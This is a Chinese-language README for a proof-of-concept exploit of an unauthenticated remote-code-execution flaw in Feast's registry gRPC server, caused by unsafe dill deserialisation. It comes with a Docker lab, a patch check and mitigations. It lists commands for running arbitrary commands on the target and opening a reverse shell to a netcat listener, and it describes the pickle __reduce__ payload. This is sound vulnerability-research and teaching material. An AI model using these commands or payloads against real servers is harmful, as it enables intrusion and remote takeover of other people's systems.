在 Feast(< 0.63.0)中,通过 registry gRPC 服务器中不安全的 dill.loads 反序列化实现未认证远程代码执行。本仓库包含一个自包含的概念验证漏洞利用程序,以及一个用于验证该漏洞的 Docker 化易受攻击实验环境。
| CVE | CVE-2026-56121 |
| 产品 | Feast(特征存储)— registry gRPC 服务器 |
| 受影响版本 | feast < 0.63.0 |
| 修复版本 | 0.63.0(提交 835cda8) |
| 漏洞类型 | CWE-502 — 不可信数据反序列化 |
| 影响 | 未认证 RCE(默认配置为 auth: no_auth) |
| 默认端口 | 6570/tcp(gRPC registry 服务器) |
⚠️ 仅限授权的安全测试和教育用途。 仅可针对随附的 Docker 实验环境或您拥有/被明确允许测试的系统运行。未经授权对第三方系统使用是违法的。
Feast registry gRPC 处理器 RegistryServer.ApplyFeatureView 在任何授权检查之前,通过调用 OnDemandFeatureView.from_proto(...) 对传入的 feature-view 规范进行反序列化。对于 pandas 模式的按需 Feature View,如果 UDF 主体非空,该路径会到达 PandasTransformation.from_proto,该函数会对攻击者控制的字节执行 dill.loads(user_defined_function.body)。由于 dill 会执行 pickle 操作码,带有精心构造的 __reduce__ 的对象会在服务器进程中运行任意 Python 代码。随附的配置为 auth: no_auth,且 gRPC 服务器没有认证拦截器,因此任何能够访问端口 6570 的人都可以执行代码。
有关完整代码路径分析和补丁差异,请参阅 ANALYSIS.md。
.
├── exploit/
│ ├── exploit.py # 完整 PoC 客户端:--check / --cmd / --reverse-shell
│ ├── poc.py # 最小单文件 PoC,约 90 行实现相同原语
│ ├── build_protos.sh # 从 [email protected](重新)生成 protobuf 存根
│ └── protos/ # 已提交的生成 *_pb2 存根(无需 protoc 即可运行 PoC)
├── lab/
│ ├── Dockerfile # 默认 feast==0.62.0;FEAST_VERSION 选择版本
│ ├── docker-compose.yml
│ ├── entrypoint.sh # feast serve_registry --port 6570
│ └── feature_repo/ # 最小 Feast 项目(auth: no_auth)
├── requirements.txt # 漏洞利用依赖:grpcio, protobuf
├── ANALYSIS.md
└── LICENSE
cd lab
docker compose up --build -d
# registry gRPC 服务器现在监听 localhost:6570
docker compose logs -f # 等待 "Grpc server started"
python3 -m venv .venv && source .venv/bin/activate
pip install -r requirements.txt
安全检查(非破坏性) — 通过在 /tmp 中写入标记文件并返回主机信息来证明服务器反序列化了攻击者数据,而不运行 shell 命令:
python exploit/exploit.py --target 127.0.0.1:6570 --check
运行命令并查看其输出(默认模式):
python exploit/exploit.py --target 127.0.0.1:6570 --cmd "id; hostname; cat /etc/os-release | head -1"
交互式反向 shell — 先启动您的监听器,然后发送载荷:
# 终端 A
nc -lvnp 4444
# 终端 B (使用容器可以回连的地址)
python exploit/exploit.py --target 127.0.0.1:6570 --reverse-shell 172.17.0.1:4444
--cmd 和 --check 模式会在漏洞利用程序自身中启动一个短时 TCP 监听器,并打印目标返回的任何内容 — 目标镜像中无需额外工具。
如果您想要一个可读的完整原语实现,exploit/poc.py 中提供了一个精简版:
python exploit/poc.py 127.0.0.1:6570 "id; uname -a"
回调说明。
--check、--cmd和poc.py依赖目标回连到您机器上的监听器。从宿主机运行开箱即用。如果您在容器内运行漏洞利用程序,请将其放在实验环境的网络上(docker run --network lab_default ...),否则载荷会执行但回复永远不会到达,工具会报告 "no callback"。
exploit/protos/ 中的存根已提交,因此您不需要 protoc。如果您确实要重新生成它们,请使用该脚本 — 它特意固定了 grpcio-tools 版本:
./exploit/build_protos.sh # 在固定的 python:3.11 容器中运行
protoc 会在每个 _pb2.py 中标记一个 gencode 版本,而 protobuf 拒绝加载 gencode 比已安装运行时更新的存根。该固定版本确保存根可在 protobuf >= 5.29, < 8 上加载(已在 5.29.6、6.33.6 和 7.36.0 上验证)。
针对修复版本重建实验环境并重新运行漏洞利用程序:
cd lab
docker compose down
FEAST_VERSION=0.63.0 docker compose up --build -d
python ../exploit/exploit.py --target 127.0.0.1:6570 --check
在 0.63.0 上预期结果:[-] No callback received. 且目标上无标记文件 — 处理器传递 skip_udf=True,因此 UDF 主体在认证检查之前永远不会被反序列化。使用 docker compose down && docker compose up --build -d 切换回易受攻击的实验环境。
cd lab && docker compose down -v
ApplyFeatureViewRequest,其 on_demand_feature_view 规范具有 mode = "pandas" 和 feature_transformation.user_defined_function(UserDefinedFunctionV2),其中:
body_text = 非空(到达 pandas 反序列化分支所必需),body = 一个对象的 pickle,其 __reduce__ 调用 exec(<python>)。feast.registry.RegistryServer/ApplyFeatureView 发送单个未认证的 gRPC 调用。from_proto 期间执行 dill.loads(body) — 在认证检查 — 执行载荷。RPC 本身随后可能报错;但代码已经运行。该漏洞利用程序使用 stdlib pickle 模块构造 gadget(服务器的 dill.loads 可以轻松解码普通 pickle 操作码),因此攻击者端只需要 grpcio + protobuf。
>= 0.63.0。 修复方案通过 *.from_proto 传递 skip_udf=True 标志,因此 registry 服务器在不反序列化 UDF 主体的情况下验证规范元数据的权限。6570)暴露给不受信任的网络。auth: kubernetes / auth: oidc)而不是默认的 no_auth。